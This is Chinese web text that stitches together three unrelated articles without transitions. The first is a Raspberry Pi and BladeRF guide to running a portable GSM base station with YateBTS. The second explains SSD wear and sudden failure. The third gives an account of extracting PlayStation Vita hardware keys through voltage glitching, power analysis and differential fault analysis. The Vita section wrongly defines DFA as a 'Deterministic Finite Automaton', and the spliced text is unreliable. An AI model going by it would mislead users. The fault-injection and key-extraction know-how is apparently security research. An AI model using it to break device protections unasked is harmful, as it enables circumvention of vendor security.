在用户高峰时段,常用的移动网络很容易堵塞,不堪重负。所以,关键时刻能够建立安全可靠的通信,是非常重要的。在本案例中,我用的移动通信系统是GSM协议,为了能够将GSM协议广播出去,我使用了BladeRF。

需要的设备

1.树莓派,本文使用的是树莓派3;

2.Micro SD卡,本文使用的是32 GB的;

3.Nuand BladeRF,本文使用的是BladeRF x40;

4.在树莓派上启用SSH,为了便于使用,终端也可以正常运行;

5.一部兼容GSM和SIM卡的手机;

6.SIM卡(sysmoSIM-GR2);

7.一根网线;

树莓派的设置

译者注:BladeRF是由树莓派使用YateBTS控制的,YateBTS是实现手机访问网络和GSM核心功能和协议的软件,允许手机通过语音、文本和数据进行通信。

1.将网线、电源和键盘插入到树莓派中,然后将电源适配器通电。注意:在树莓派中默认的用户名为pi,默认的密码为raspberry

2.开始运行;

sudo raspi-config

键盘布局进行合理化布局

1.找到“本地化选项”,按“Enter”键;

2.找到“更改键盘布局”,按“Enter”键;

3.找到“Other”,按“Enter”键;

4.找到“英语(美式)”,按“Enter”键;

5. 找最上面的“英语(美式)”,按“Enter”键;

6.点击“进入”,接受下面两个屏幕上的默认值,因为它们不适用。

7.完成最后两步后,返回到主菜单。

启用SSH

1.找到“接口选项”,按“Enter”键;

2.找到“SSH”,按“Enter”键;

3.找到“Yes”,按“Enter”;

4.在下一个屏幕上,按“Enter”键返回主菜单;

5.进入主菜单,选择“完成”,然后按“Enter”;

6.返回终端时,运行下面的命令来启用配置设置;

sudo reboot now

网络部署过程

为了在设置好的树莓派上启用SSH,请使用以下命令记录Pi的IPv4地址:

ifconfig eth0

然后在另一台计算机上,利用终端应用程序运行:

ssh [email protected][INSERT PI IPV4 ADDRESS HERE]

一旦出现证书的提示,就必须再次输入用户名pi和默认的密码raspberry。

现在你就可以与Pi进行远程交互了:

# Download the script from GitHub
wget https://raw.githubusercontent.com/MBRO95/PortableCellNetwork/master/PortableCellNetwork.sh
# Make the downloaded script executable 
chmod +x ./PortableCellNetwork.sh

首先,脚本会检查你是否是以root身份运行的,因此请确保你必须输入以下命令的“sudo”部分。

在不记录输出的情况下运行脚本:

sudo ./PortableCellNetwork.sh

在记录输出的情况下运行脚本:

sudo ./PortableCellNetwork.sh | tee install.log

1.该脚本将查询网络名称,你需要按“Enter”键接受“DuaneDunstonRF”的默认名称或提供一个能够确认的信息;

2.确认网络名称;

3.该脚本现在将启动安装和配置过程;

4.当脚本启动快完成时,它将查询“pi”用户的新用户密码。此时,你需要重新输入密码,以加强安全性。

当完成脚本启动时,它将报告运行的时间并等待重新启动输入。

1.按任意键重新启动,这样你将被重新被引导到桌面环境中,此时,你只需在启动的弹出窗口中选择“默认配置”选项。

2.一个名为“StartYateBTS”的启动脚本将出现在 ‘/home/pi’ 中,并开始启动移动网络进程。不过要启动脚本,必须在出现脚本名称后通过发送一个“- i”标志以交互方式运行,“- i”标志如以下所示:

sudo ./StartYateBTS.sh -i

开始启动后,脚本将会出现以下两个运行状态:

1.打开一个终端窗口,报告Yate(移动网络)状态

2.打开一个Firefox浏览器窗口,该窗口将被导航到YateBTS(基于web的移动网络配置)。此时,你就可以查看或修改网络配置的设置了,并管理或编写设备的SIM卡。

便携式移动网络的的搭建

要将兼容GSM和SIM卡的手机连接到移动网络,需要部署SIM卡以配合正确的设置。YateBTS使用的是PySIM工具。在安装脚本时,我已经把PySIM设置为支持sysmosim-gr2卡的正确版本。不过前提是确保兼容的SIM卡编写器已经被插入到了树莓派中,并将SIM卡置于它的进程中。

现在,你就可以打开名为Manage SIM的选项卡,确保生成的随机IMSI设置被选中,注意插入用户不需要被选中。如果你不小心选中插入用户的选项,则移动网络可能将受到干扰。

9.png

接下来是检查在“高级”选项中是否进行了正确的设置,因为确保移动网络选择设置是正确的。否则,使用默认设置并点击保存。

10.png

下图就是对SIM重新编程后的输出,切记,在管理SIM的列表中对SIM卡进行部署。

11.png

在将SIM卡插入GSM手机后,YateBTS将会发送一个回应信息,并显示如下所示的手机号码。如果Android手机没有正确连接到手机网络,请打开拨号器应用程序然后输入##4636## A,此时,设置菜单将出现在手机信息选项卡中。接着请讲网络类型选为GSM,然后重新启动手机。

360截图1651100194145106.jpg

移动网络的安全保障

我安装的脚本都是基于Internet安全中心(CIS)的安全模型,该脚本集成了为Debian 8操作系统设计的基准模型,会让移动通信的安全得到最有效的保护。其实一开始,我是以树莓派的安全标准来进行安全设置的。但后来,我发现它不支持可以实现安全控制的自定义分区,但安全脚本不但可以保护各种控件,同时也能保护莓派操作系统和Yate软件的功能。

另外就是随时更新操作系统:

sudo apt-get -y dist-upgrade

linux sticky bit 目录权限的设置,这样做可以防止未经授权的用户修改或重命名属于不同用户的文件:

df --local -P | awk {'if (NR!=1) print $6'} | xargs -I '{}' find '{}' -xdev -type d -perm -0002 2>/dev/null | xargs chmod o-t

删除不必要的文件系统:

echo "install cramfs /bin/true" >> /etc/modprobe.d/CIS.conf
echo "install freevxfs /bin/true" >> /etc/modprobe.d/CIS.conf
echo "install jffs2 /bin/true" >> /etc/modprobe.d/CIS.conf
echo "install hfs /bin/true" >> /etc/modprobe.d/CIS.conf
echo "install hfsplus /bin/true" >> /etc/modprobe.d/CIS.conf
echo "install squashfs /bin/true" >> /etc/modprobe.d/CIS.conf
echo "install udf /bin/true" >> /etc/modprobe.d/CIS.conf

删除不必要的网络协议:由于linux内核能支持不常用的网络协议,而这些协议又与本次的目标无关,因此,它们应该被禁用。

echo "install dccp /bin/true" >> /etc/modprobe.d/CIS.conf
echo "install sctp /bin/true" >> /etc/modprobe.d/CIS.conf
echo "install rds /bin/true" >> /etc/modprobe.d/CIS.conf
echo "install tipc /bin/true" >> /etc/modprobe.d/CIS.conf

禁用核心转储,以防应用程序崩溃。

echo "* hard core 0" >> /etc/security/limits.conf
echo 'fs.suid_dumpable = 0' >> /etc/sysctl.conf
sysctl -p
echo 'ulimit -S -c 0 > /dev/null 2>&1' >> /etc/profile

禁用不需要的服务,以防止这些服务被开启。

systemctl disable avahi-daemon
systemctl disable triggerhappy.service
systemctl disable bluetooth.service

众所周知,Pi为默认密码,所以切记更改树莓派的原始密码。

passwd pi

测试环境的搭建

共享文件路径的目录

/usr/local/share/yate

进入conf文件路径的目录

/usr/local/etc/yate

进入用户文件路径的目录

/root/.yate

模块路径的目录

/usr/local/lib/yate

如何测试

1.Yate NIB设置中包括一个ELIZA聊天软件,你可以把SMS消息发送到35492与该软件进行测试通信。

2.利用Android手机的配置菜单,拨打4636 # # # #测试通信。

在前一篇文章《开启Trim功能后,如何使用工厂访问模式对固态硬盘驱动器进行映像》一文中,我们提到了固态硬盘驱动器的可靠性一面。不过凡事都有两面性,你可能知道,固态硬盘用固态电子存储芯片阵列而制成的硬盘,由控制单元和存储单元(FLASH芯片、DRAM芯片)组成。固态硬盘在接口的规范和定义、功能及使用方法上与普通硬盘的完全相同,在产品外形和尺寸上也完全与普通硬盘一致。被广泛应用于军事、车载、工控、视频监控、网络监控、网络终端、电力、医疗、航空、导航设备等诸多领域。NAND闪存可以支持有限数量的写入操作。当今的消费类固态硬盘驱动器的制造商通常会在保修期结束前保证大约150到1200个写入周期。根据这些事实,我们可以得出这样的结论:NAND闪存单元可以支持多达1200个写入周期,而固态硬盘驱动器实际上可以在不考虑其他条件的情况下支持超过1000次完整的重写。然而,这么说也并不完全正确。因为特定的使用条件和载荷类型会使固态硬盘驱动器的磨损速度明显快于厂家声明的耐久性。在这篇文章中,我们将向你说明为什么一个允许良好和各方面都正常的固态硬盘驱动器会在存储空间剩余98%-99%的情况下突然死机。不过即使固态硬盘驱动器已损坏或未出现在系统中,我们也会提供一些可以恢复数据的工具和方法的建议。

NAND Flash Endurance (闪存耐久性)的期望与现实的差距

一些主要的固态硬盘制造商,如critical和三星,为他们的最新型号提供了5年的有限保修,且这些制造商指定了在保修期内可以写入固态硬盘驱动器的最大数据量。

NAND Flash写入前必须擦除, Block擦除1次后再写入1次称为1次PE Cycle,Endurance (耐久性)用于衡量NAND Flash的擦写寿命的可靠性指标;Endurance指的是在一定的测试条件下NAND Flash能够反复擦写数据的能力,即对应NAND Flash的PE Cycle。

例如,以下就是Crucial和三星对他们最新型号的固态硬盘系列的保修承诺。

微信截图_20190126045525.png

目前已经有独立研究人员证实了制造商所声称的耐久性评级,如果你感兴趣,可以阅读这份TechReport的技术测试报告,虽然此测试的时间已经很久远了,但其中的发现与最近3DNews.ru正在进行的测试是一致的。TechReport的Geoff Gasior总结说:

这意味着你买的产品,如果实现制造商保证的写入操作规格,并不值得炫耀。

3DNews对多个固态硬盘型号进行的长期测试也表明,即使是中等水平的固态硬盘驱动器,在闪存开始出现降级迹象之前,也可以重写数千次。但是,这并不能解释为什么有些用户的固态硬盘驱动器在保修期内,仅在固态硬盘重写了20到30次(这意味着还剩余98%-99%的额定寿命)后,就无法正常运行。

之所以会出现这样的疑问,是因为如今的TLC闪存不可能在明显降级的情况下,还会支持数千个写入周期。实际上,典型的存储单元可以在开始电荷泄漏(charge leakage)之前,始终支持20到50个写入或擦除周期。低质量的NAND闪存可能不太稳健,而SLC缓存可以改善写入周期数,但它们的最终结果是相同的:NAND存储单元会在保留电子方面变得不太可靠。

那么,这些数字与制造商宣称的1000多个写入周期的耐久性有什么关系呢?这些固态硬盘驱动器到底有多可靠呢?让我们试着找出答案。

说到磨损,每次写入操作都会对NAND单元造成轻微的损坏。与在MLC或TLC模式下写入多位数据相比,在SLC模式下写入一位数据需要的电压更低。因此,与没有SLC缓存的低成本固态硬盘驱动器相比,配备SLC缓存的基于MLC或TLC的固态硬盘驱动器可以承受更高的负载(尤其是随机写入)。在一些涉及频繁写入小块数据的情况下,使用SLC缓存与不使用SLC缓存的固态硬盘驱动器相比,提高固态硬盘的耐久性可以多达100倍。

1.jpg

经过一定数量的重写或擦拭周期之后,NAND存储单元不再能够进行大规模存储并开始泄漏电子。不过此时,人们仍然可以在磨损的存储单元中写入数据,一旦数据被写入后,就可以立即被成功读取。然而,由于存储单元此时已开始泄漏电子,所以那些成功被读取的数据仅仅能保留很短一段时间。

让我们做一个假想的测试,将“1 0 0”写入TLC单元。写入完成后,假如我们可以立即读取该存储单元,那电荷数量仍然是“1 0 0”。接着,我们关闭固态硬盘驱动器,让它静置两天,然后再打开电源并读取该单元,此时电荷仍为“1 0 0”。现在让我们再次关闭电源,这次静置时间是两周。在两周后读取电荷后,电荷则在处于“0 1 0”水平。再过两周,电荷是“0 0 1”,接着再过两周,电荷数量则彻底变为 “0 0 0”。

NAND存储单元所使用的电池在一定的重写周期后所保持电荷的时间,是计算耐久性等级的主要标准。目前大多数NAND闪存制造商规定,电池必须在高温下(例如在数据中心环境中) 至少保持两周的满电荷状态。如果是非高温状态,比如家里的常温下,则要求的时间更长。在规定的满电荷状态内,是允许某些存储单元泄漏电荷的,但这种位错误必须通过ECC纠正。

在现实使用场景中,两周是个可怕的挑战,有信誉的制造商使用的NAND芯片一般大大超过了这个最低标准。

Data Retention(数据保存力)是用于衡量写入NAND Flash的数据能够不失真保时间的可靠性指标,一般定义为在一定的温度条件下,数据在使用ECC纠错之后不失真保存在NAND Flash中的时间;影响数据保存力最大的两个因素是擦写次数和存储温度。通常情况下企业级SSD盘的Data Retention都是遵循JEDEC的JESD218标准,即40℃室温下,100%的PE Cycle之后,在断电的情况数据保存力时间要求达到3个月。

2.png

以上的图片来自全球顶级评测网站AnandTech关于固态硬盘数据保存状态的测试,如果NAND闪存芯片没有通过固态硬盘 oem的严格要求,会发生什么情况?对低成本的低标准NAND芯片的需求从未缺少过。 诸如Kingspec,Smartbuy或Silicon Power等三线制造商会批量购买这种廉价芯片,生产可靠性各不相同的低成本固态硬盘驱动器。或者,制造商仍然可以通过增加存储块的数量,以在他们的固态硬盘中使用非标准的NAND芯片,此时,他们所宣称的固态硬盘的单元容量就较低,例如会主动说明是480 GB而不是500 GB。另一种选择(主要由critical /Micron采用)是在MLC模式下使用低于标准的TLC芯片,这大大提高了可靠性。将最后两种方法结合的一个很好的例子是Crucial BX300,这是一个3D MLC驱动器,号称具有480 GB的存储容量。

高温会对NAND闪存保留电荷的能力产生很大的负影响,随着温度升高,电子会加速地逃离浮栅(Floating Gate)。该存储单元失去电荷后,数据就变得不可读。 闪存(Flash)技术利用的场效应管就是浮栅场效应管,FLASH技术是采用特殊的浮栅场效应管作为存储单元。这种场效应管的结构与普通场管有很大区别。它具有两个栅极,一个如普通场管栅极一样,用导线引出,称为“选择栅”;另一个则处于二氧化硅的包围之中不与任何部分相连,这个不与任何部分相连的栅极称为“浮栅”。通常情况下,浮栅不带电荷,则场效应管处于不导通状态,场效应管的漏极电平为高,则表示数据1。编程时,场效应管的漏极和选择栅都加上较高的编程电压,源极则接地。这样大量电子从源极流向漏极,形成相当大的电流,产生大量热电子,并从衬底的二氧化硅层俘获电子,由于电子的密度大,有的电子就到达了衬底与浮栅之间的二氧化硅层,这时由于选择栅加有高电压,在电场作用下,这些电子又通过二氧化硅层到达浮栅,并在浮栅上形成电子团。浮栅上的电子团即使在掉电的情况下,仍然会存留在浮栅上,所以信息能够长期保存(通常来说,这个时间可达10年)。由于浮栅为负,所以选择栅为正,在存储器电路中,源极接地,所以相当于场效应管导通,漏极电平为低,即数据0被写入。擦除时,源极加上较高的编程电压,选择栅接地,漏极开路。根据隧道效应和量子力学的原理,浮栅上的电子将穿过势垒到达源极,浮栅上没有电子后,就意味着信息被擦除了。为此,ACELab进行了一项对照测试,试图测试高温对NAND电池维持电荷能力的影响。该测试在旧的SLC芯片上进行,且该芯片能够支持480℃以上的温度。如果温度超过这个极限,则芯片就会受到物理损坏(直接烧毁)。值得注意的是,如今的MLC和TLC芯片在明显低于480℃的温度下就开始出现错误位。出于这个原因,一些专家更喜欢使用加热的电线切割PCB上的芯片而不是直接拆焊。

虽然我们只需要3.3V来读取数据,但我们必须提供12V来擦除或重写编程单元。另外要将电子置于NAND单元中,则需要使用更高的电压。随着更高电压的使用,存储单元之间的绝缘层开始降解,随着时间的推移,更多的电子就会穿破被讲解的绝缘隔离层逸出。隔离层越薄,降解的速度就越快,每个存储单元可以支持的重写或擦除周期就越少。

三星840EVO SSD 是三星2013年7月推出了新一代固态硬盘产品。与在之前的840系列固态硬盘相比,840 EVO除了在主控、闪存、缓存、固件方面进行了更新换代外,性能有了很大提升,另外容量方面最大容量翻倍至1TB,最小120GB容量。三星Evo 840是最早一批基于平面TLC闪存的固态硬盘驱动器之一。当时的制造商在估计TLC闪存存储单元的寿命时过于乐观。可实际结果我们刚刚也讲到,隔离层降解速度明显快于他们的设想。有时,电池甚至无法承受20到30次正常的重写或擦除周期,更糟的是,在断电状态下泄漏电荷的速度非常快。许多用户在使用Evo 840驱动器存储完数据后会关闭电源,但仅仅30天后,他们就发现其中的数据丢失了。虽然三星通过固件升级解决了这一问题,但这无助于根除其中存在的硬件问题。三星的第二次修复则是添加了一个后台进程,通过定期擦除或重写受影响的NAND存储单元的内容,来“刷新”存储的稳定性。毋庸置疑,该修复方法势必会对驱动器的实际耐久性产生负面影响,且电池的磨损速度比计划的要快得多。结果,三星Evo 840获得了史上最差固态硬盘驱动器的名声。

后来制造商吸取了三星的教训并在新型号中停止使用了平面TLC存储器,转而使用更加强大的3D NAND。以下就是3D TLC NAND与平面MLC和平面TLC类型的对比图:

3.png

目前还有其他一些技术被用来延长NAND存储单元的寿命,例如,许多制造商将驱动器的部分容量用作SLC缓存。在SLC中将数据写入TLC单元中需要的电压越低,对单元的隔离层的负面影响就越小。如果固态硬盘驱动器用于频繁写入小数据块(例如数据库)的环境,那么SLC缓存非常有效。不断改进的固件可以大大减少写入放大,从而减少存储相同数量数据所需的擦除或重写周期。

注:写入放大(Write amplification,简称WA)是闪存和固态硬盘(SSD)中一种不良的现象,即实际写入的物理数据量是写入数据量的多倍。

为什么固态硬盘驱动器在没有S.M.A.R.T.错误的情况下会运行失败?

S.M.A.R.T.,全称为“Self-Monitoring Analysis and Reporting Technology”,即“自我监测、分析及报告技术”。是一种自动的硬盘状态检测与预警系统和规范。通过在硬盘硬件内的检测指令对硬盘的硬件如磁头、盘片、马达、电路的运行情况进行监控、记录并与厂商所设定的预设安全值进行比较,若监控情况将或已超出预设安全值的安全范围,就可以通过主机的监控硬件或软件自动向用户发出警告并进行轻微的自动修复,以提前保障硬盘数据的安全。除一些出厂时间极早的硬盘外,现在大部分硬盘均配备该项技术。S.M.A.R.T.错误,其实是硬盘的硬件错误。有这个错误的,有些是可以修复的,有些不可以,最好的办法是备份数据换硬盘。比如坏道,少量的是可以修复的。通过MHDD、diskgenius等软件可以修复。C7,一般也可以修复,这是数据线或接口磨损导致的。一般换线可以解决。其它方面的,比如底层的错误,大量的坏道,就无法修复了,得换硬盘。  

由于固态硬盘驱动器的设计目的是就是为了支持其整个存储容量的多次重写,所以制造商必须保证他们的驱动器可以完成数百甚至数千次完整重写。写入总字节数(TBE)参数随着每一代产品的叠加而增长,但一味地追求容量,反而会出现更多问题,我们已经看到多个固态硬盘驱动器在宣称的稳定期,比以往更早得暴露出问题。比如,当固态硬盘驱动器出现故障是,其剩余的额定寿命竟然还长达99%,且SMART属性也完整无缺。这很难归因于制造缺陷或NAND闪存的问题,因为这些容量通常约占设备的2%。除了制造缺陷之外,为什么固态硬盘会在SMART属性完好无缺的情况下而过早失效呢?

每个固态硬盘驱动器都有一个专用的系统区域,系统区域包含固态硬盘固件(用于引导控制器的微代码)和系统结构。系统区域的范围大小在4到12 GB之间。在该区域中,固态硬盘控制器存储为一种“模块”系统结构。模块包含基本数据,例如转换表,处理媒介加密密钥的微代码部分,SMART属性等。

如果你读过前一篇文章《开启Trim功能后,如何使用工厂访问模式对固态硬盘驱动器进行映像》一文中

如果你已经阅读了我们之前的文章,就会知道固态硬盘驱动器会主动地重新映射逻辑块的地址,将相同的逻辑地址指向不同的物理NAND存储单元,以便降低磨损并提高写入速度。不幸的是,目前在大多数固态硬盘驱动器中,系统区域的物理位置必须保持不变。这意味着它不能被重新映射,系统区域内至少有部分模块不适用于降低磨损的需要。这说明,单个写入操作(每个操作都修改转换表的内容)的恒定流程将一次又一次地写入相同的物理NAND单元。这就是为什么我们不完全相信像3DNews这样的耐久性测试的原因。这样的测试依赖于以恒定的流程写入固态硬盘驱动器的数据流,从而以不切实际的方式加载固态硬盘驱动器。另一方面,用户的固态硬盘驱动器经常会遇到小型写入操作(有时每秒数百次),在这种模式下,实际写入固态硬盘驱动器的数据非常少,因此TBW寿命耐用性非常有限,但现实的情况是,系统区域经常被严重地重写。

这样的使用场景将导致系统区域过早被磨损,而在任何SMART参数中没有任何有意义的指示。因此,具有98%-99%剩余寿命的完全健康的固态硬盘很可能会突然从系统中消失。此时,固态硬盘控制器无法对存储在系统区域中的基本信息执行成功的ECC校正。 固态硬盘从计算机的BIOS中消失,或显示为空或未初始化或未格式化的媒介。

如果固态硬盘驱动器未出现在计算机的BIOS中,则可能意味着其控制器正处于Bootloop(无限重启)中。而在Bootloop中,会一直发生以下循环过程:控制器试图将NAND芯片中的微码加载到控制器的RAM中,然后发生错误,然后控制器重试,然后发生错误……

但是,最常见的故障原因是转换模块中的错误,该模块将物理块映射到逻辑地址。如果发生此错误,固态硬盘将被识别为计算机BIOS中的一个设备。但是,用户却无法访问该信息,此时固态硬盘将显示为未初始化(原始)媒介,或者显示出更小的存储容量(例如实际容量显示为2MB,而不是960GB)。此时,不可能使用任何可用的方法,例如许多未删除、数据恢复工具都无法恢复数据。

通过工厂访问模式恢复数据

如果发生死机的固态硬盘驱动器没有出现在系统中,或者被识别为原始媒体,你仍然可以尝试从该驱动器中恢复信息。不要尝试使用从互联网上下载的数据恢复工具,这些都不能中断引导循环或激活驱动器的工厂访问模式,具体的方法请阅读《开启Trim功能后,如何使用工厂访问模式对固态硬盘驱动器进行映像》一文中。除了将磁盘返回给制造商之外,惟一可以做的就是使用磁盘的工厂访问模式。工厂访问模式内置在所有固态硬盘驱动器中。目前各大厂商的大数据恢复服务和授权服务中心都有工具可以激活工厂访问模式,重建损坏的转换表,读取芯片上的信息。不幸的是,许多销售廉价固态硬盘驱动器的小型oem厂商根本没有任何维修方法,对于他们来说,维护一个设备远比新换一个设备的成本要高的多。所以一分钱一分货是有一定道理的,特别是对电子产品来说。

在过去的几个月里,我一直试图从PlayStation Vita中提取硬件密钥。为此我还专门写了一篇论文,里面详细介绍了我所使用过的所有的技术细节和理论依据,感兴趣的读者可以点此详细了解。本文是对具体的操作过程进行讲解,为大家提供一个直观地理解。

注:PlayStation®VITA是索尼的一代掌机,简称PS Vita、Vita或PSV,以下我会将PlayStation Vita统称为PSV。

DFA

DFA全称为:Deterministic Finite Automaton,即确定有穷自动机。其特征为:有一个有限状态集合和一些从一个状态通向另一个状态的边,每条边上标记有一个符号,其中一个状态是初态,某些状态是终态。但不同于不确定的有限自动机,DFA中不会有从同一状态出发的两条边标志有相同的符号。

高级加密标准(AES)算法具有抗差分和线性攻击能力,却容易受到故障攻击,该攻击对密码系统破坏较大。

DFA的主要思想是:我们可以像在处理器上一样对AES硬件使用故障攻击,但是我们不使用它来控制代码执行,而是使用它来使用正确的密钥进行错误的AES加密。由于AES是一种脆弱的算法,稍作修改会导致它以非正常的方式泄露有关密钥的信息,而我们正是利用了这一算法的弱点。

不过,目前除了学术界对“针对AES解密的DFA攻击方法”有研究外。实际的应用案例并不多,在我们对Github进行了搜索后,我们只发现了两个严重的AES DFA攻击实现示例。 dfa-aes是2009年一个实现示例,其中经过8个周期和2的32次暴力破解,可以产生准确的AES-128密钥。 2002年至2016年期间,虽然有很多人发表了许多相关的论文,描述了相关的故障攻击。但是,我们无法找到这些论文附带的任何源代码示例。最后,我们从phoenixAES中找到了相应的源代码,尽管它们不是最先进的(文献中的大多数代码在实践中并没有多大意义)。因为编写代码很无聊且需要花费很长时间,所以这个示例是很有意义的。

撇开这个问题不谈,完成攻击的主要的工作是完善我们的故障设置,以便在8周期的暴力破解中向AES引擎(AES engine )注入精确故障,比如故障不超过一个字节。一旦我们的故障设置完成,我们就可以将收集到的样本置入phoenixAES或dfa-aes。使用DFA攻击硬件的AES算法,并从PlayStation Vita中提取硬件密钥

DPA

在介绍我们如何布置DFA故障的设置之前,我们有必要向介绍一下对PSV的DPA攻击。差分功耗分析(Differential power analysis)是一种边信道攻击,如果攻击者在使用密钥操作时观察AES引擎的功耗,就可能找到泄漏的密钥。首先,攻击者会假设一个密钥值。然后,他们定义AES引擎的功耗使用模型,以预测密钥值在假设正确的情况下会消耗多少功耗。最后,使用该密钥值运行引擎并测量实际功耗以查看预测的准确性。通过多次重复,就可可以找到整个密钥。 Chipwhisperer wiki对差分功耗分析的运行过程进行了很好的介绍,你可以点此查看。

为了在要攻击的目标上执行DPA,你需要能够精确测量芯片中的电流(current)。一种方法是应用法拉第定律:变化的磁场会产生电压。你可以使用“磁探针”测量电流.Colin O'Flynn在Blackhat中描述了如何构建自己的磁探针,我按照他的办法构建了一个,使在其上运行ChipWhisperer示例。

1.jpg

不幸的是,上图所示工具的环状大小决定了测量的精确程度,且一个好的工具非常昂贵。而测量电流的另一种方法是应用欧姆定律:通过电阻的电流变化等于通过电阻的电压变化。这需要修改电路,以在电源和目标芯片之间引入小的电阻器。

随着芯片消耗更多功耗,它将需要更大的电流,这导致电阻器两端的电压下降更大。为了利用并联电阻测量,我们需要先将PCB中从电源到目标芯片的线切断。然后我们将目标芯片连接到我们的定制电路板,该电路板有一个分流电阻和测量探针端口。我们使用外部电源为电路板供电,其实我们可以使用Vita自带的电源,但它更容易连接外部电源。

2.jpg

自定义设计的psvcw板有一个分流电阻,一个滤波电容器,以及用于差分探针和CW glitcher的端口,顶部还有探测eMMC信号到目标芯片的电线。我们使用它们将有效载荷闪存到eMMC,并触发电压故障以获得代码执行。

3.jpg

外部电源连接到psvcw

然而,即使使用并联电阻法,我们也无法获得良好的信噪比(SNR或S/N,是指一个电子设备或者电子系统中信号与噪声的比例)。我们观察到,在AES加密期间,SRAM读写操作在功耗跟踪中占主导地位(涉及多个幅度),因此很难找到跟踪和密钥之间的任何相关性。由于PSV的SoC是为低功耗而设计,所以我们确定DPA有确切设置,如果要获得提高信噪比所需的正确设备,成本将会太高。

4.png

在0-50个周期内,会开启触发GPIO信号,在250-350个周期内,进行AES操作。到第600个周期时, GPIO会关闭,整个过程中的小幅度下降可能是F00D处理器操作引起的。

尽管名称相似,但DPA和DFA完全不相似。 DPA是(被动)侧通道攻击,而DFA是(主动)故障攻击。然而,所有尝试DPA的工作都没有白费。首先,我们获得了关于AES操作发生时间的宝贵信息。通过将单个AES操作的跟踪与我们收集的其他跟踪(即没有AES操作或有多个AES操作)进行比较,我们可以得出结论,AES操作发生在触发后功耗在250-350个周期下降的地方。为此我们对PCB进行了修改,在测量中插入了一个并联电阻并降低了信噪比,这也同时满足了我们更精确的对故障进行设置的目的。这一点很重要,因为在以前,我们的攻击目标是在安全处理器出现故障时,获得代码执行。为了到达这个效果,可以在多个周期中出现故障。由于AES引擎在每个周期执行4次操作,且都引起了电压高峰,为了不被目标设备的配电网络过滤掉,插入了一个并联电阻是很有必要的。

PlayStation Vita的安全架构

为什么攻击者会对来PSV如此有兴趣呢?因为PSV是一种非常独特的设备,可以独立实现许多安全功能。且该设备于2012年发布,要知道当时大多数Android手机还没有基本的漏洞利用缓解措施,例如启用地址随机化,而它的直接竞争对手(3DS)在硬件和软件安全方面都与它差几个等级。

PSV操作系统是完全专有的,其中一些代码来自NetBSD(一个完全开放源代码的类UNIX系统),另一些代码来自索尼PSP。在大多数设备运行BSD,Linux或某些RTOS的世界中,作为一名逆向工程师,看到新的操作系统总是令人兴奋的。但专有并不意味着安全,虽然很难找到转储内核的原始漏洞,但我们在2013年利用了几个NetBSD衍生模块进行了尝试分析,发现其中的代码并不是安全的,而是晦涩难懂的。然而,值得称赞的是,整整一年都没有人能够攻破这些内核,即使在我们分析了它之后,也没有人能够在接下来的三年里做到这一点(直到我们发布了一个越狱版本)。内核本身具有所有针对缓冲区溢出攻击的标准缓解和针对泄漏地址的保护,另外,它还有一些在当时看来非标准的缓解措施,如SMAP和系统调用防火墙。 PSV也使用了ARM TrustZone,但在Android手机将所有秘密存储在TrustZone中的时候,PSV只使用TrustZone作为缓冲区来连接F00D安全处理器。只有TrustZone可以直接与F00D处理器通信,但TrustZone本身没有秘密,事后看来这是一个好的安全措施。

Bigmac

如果我们想要了解内容(游戏、数据、固件、更新等)是如何解密的,我们必须查看F00D处理器,它是一个处理所有加密和关键安全任务的处理器。 F00D运行在一个基本上没有文档的架构上,但我们能够在适当的时候破解它。然而,即使是攻击F00D也不足以完全破解这个系统。 F00D代码中有许多加密密钥,其中最重要的密钥(包括引导加载程序的密钥)隐藏在芯片中,只能通过我们称之为Bigmac的硬件AES引擎才能访问它们,其中有250个这样的密钥槽(keyslot)。这些密钥中有30个被称为“元密钥”或“主密钥”,因为Bigmac只允许使用它们将数据加密到另一个密钥槽即导出密钥,无法直接使用主密钥加密数据并查看密钥。

在执行引导加载程序之前,大多数密钥槽(包括所有主键)都被锁定,这意味着只有启动ROM才能在Bigmac中使用它们。因此,总结一下,要对AES进行攻击,我们必须要逐一完成以下过程:

1.让WebKit(一个开源的浏览器引擎)获得初始执行权限;

2. 破解ARM内核;

3. 破解ARM TrustZone;

4. 破解F00D内核;

5.利用F00D引导ROM;

为此,我们从头开始研究,除了利用F00D引导ROM(这个过程得依赖软件漏洞)之外,用了六年的时间来完成整个过程。利用这些知识,黑客足以入侵ARM内核,运行自制程序和mods,以及盗版游戏。6年前,我为自己设定了一个任意目标:获取引导加载程序的解密密钥。当时我的想法是,如果我们能够解密第一个可加载的代码,那么索尼就无法在未来的更新中隐藏代码。后来,这个密钥还专门获得了一个名称:slot 0x208(一个元密钥)。

故障攻击和DFA

之前,我讨论了如何使用电压故障在F00D安全处理器上获得启动时代码执行。这和 DFA有什么关系呢?因为大多数密钥槽在引导ROM退出到引导加载程序之前被锁定,所以我们需要在接管引导ROM之后执行DFA攻击。为此,我们必须使用我们之前发现的相同故障参数重复F00D上的电压故障攻击。之前,我们执行的有效载荷只是转储引导ROM,但现在已经被RPC取代,所以我们可以通过ChipWhisperer的串行接口从PC控制Bigmac。一旦这个RPC有效载荷运行,我们就可以使用不同的触发信号和不同的参数执行第二个故障攻击,从而导致Bigmac AES出现故障。这里的主要任务是找到第二组参数,一旦我们拥有它们,就可以通过使用RPC发送Bigmac命令、触发故障、下载由故障泄露的密钥。有了足够的密钥,就可以执行DFA攻击来提取密钥。

5.jpg

psvemmc板会收集来自PSV PCB的所有必需信号,包括用于eMMC触发(电路板背面)、时钟(取代PSV自己的时钟合成器芯片),UART,电源,复位和GPIO触发(重新路由LED信号)。它还有一个开关,可以启用eMMC闪存模式,该模式使用USB2244和一个电平转换器来支持通过USB的1.8V eMMC闪存。

6.jpg

现在,提取密钥的一切准备工作都完成了。

分析由故障泄露的密钥

为了将故障注入AES操作,我们使用RPC来切换GPIO引脚并立即启动Bigmac。 GPIO切换设置参考点并用作glitcher的触发器。在执行第二个故障之前,我们需要在触发后等待几个周期。从上面的功耗跟踪中,我们可以了解到,在250到350个周期之间会发生AES加密。当我们尝试在偏移240-280处引入故障时,我们会得到由故障导出的密钥。但是,我们并能确切知道经过多少个周期,且有多少字节被破坏。回想一下,为了使用phoenixAES,我们需要两个由故障而导出的密钥,且每个密钥在第8个周期都有一个字节被破坏,但他们却是不一样的。

